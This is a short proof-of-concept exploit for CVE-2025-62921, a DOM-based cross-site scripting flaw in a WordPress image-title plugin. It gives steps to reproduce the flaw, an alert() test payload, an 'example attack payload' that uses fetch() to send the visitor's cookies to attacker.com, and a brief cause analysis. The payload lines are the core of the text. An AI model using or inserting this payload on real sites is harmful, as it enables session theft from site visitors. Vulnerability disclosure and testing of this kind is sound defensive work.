CVE-2025-62921

// CVE-2025-62921 PoC - DOM-based XSS in Bulk Auto Image Title Attribute Plugin // Steps to reproduce: // 1. Install and activate Bulk Auto Image Title Attribute plugin <= 2.0.1 // 2. Upload an image to WordPress Media Library // 3. Edit the image and inject XSS payload in the title field: // <img src=x onerror=alert(document.domain)> // 4. Create or edit a post/page that includes this image // 5. Activate the plugin's auto-title feature // 6. View the post/page - XSS will be executed // Example attack payload: const xssPayload = '<img src=x onerror=fetch(`https://attacker.com/steal?cookie=${document.cookie}`)>'; // Technical analysis: // - Vulnerability exists in how plugin processes image title attributes // - Plugin uses unsafe innerHTML or similar method to insert data // - No HTML entity encoding is performed on user-supplied input // - DOM-based XSS makes server-side WAF ineffective
